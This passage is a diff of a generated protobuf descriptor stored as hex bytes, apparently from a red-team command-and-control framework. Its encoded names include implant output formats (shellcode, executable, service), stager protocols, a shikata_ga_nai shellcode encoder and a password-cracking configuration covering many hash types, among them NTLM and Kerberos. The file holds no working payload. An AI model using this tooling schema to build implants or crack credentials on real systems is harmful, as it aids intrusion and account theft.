0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, + 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, + 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, + 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, + 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, + 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, + 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, + 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, + 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, + 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, + 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, - 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, - 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, - 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, - 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, - 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, - 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, - 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, - 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, - 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, - 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, - 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, - 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, - 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, - 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, - 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, - 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, - 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, - 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, - 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, - 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, - 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, - 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, - 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, - 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, - 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, - 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, - 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, - 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, - 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, - 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, - 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, - 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, - 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, - 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, - 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, - 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, - 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, - 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, - 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, - 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, - 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, - 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, - 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, - 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, - 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, - 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, - 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, - 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, - 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, - 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, - 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, - 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, - 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, - 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, - 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, - 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, - 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, - 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, - 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, - 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, - 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, - 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, - 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, - 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, - 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, - 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, - 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, - 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, - 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, - 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, - 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, - 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, - 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, - 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, - 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, - 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, - 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, - 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, - 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, - 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, - 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, - 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, - 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, - 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, - 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, - 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, - 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, - 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, - 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, - 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, - 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, - 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, - 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, - 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, - 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, - 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, - 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, - 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, - 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, - 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, - 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, - 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, - 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, - 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, - 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, - 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, - 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, - 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, - 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, - 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, - 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, - 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, - 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, - 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, - 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, - 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, - 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, - 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, - 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, - 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, - 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, - 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, - 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, - 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, - 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, - 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, - 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, - 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, - 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, - 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, - 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, - 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, - 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, - 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, - 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, - 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, - 0x4e, 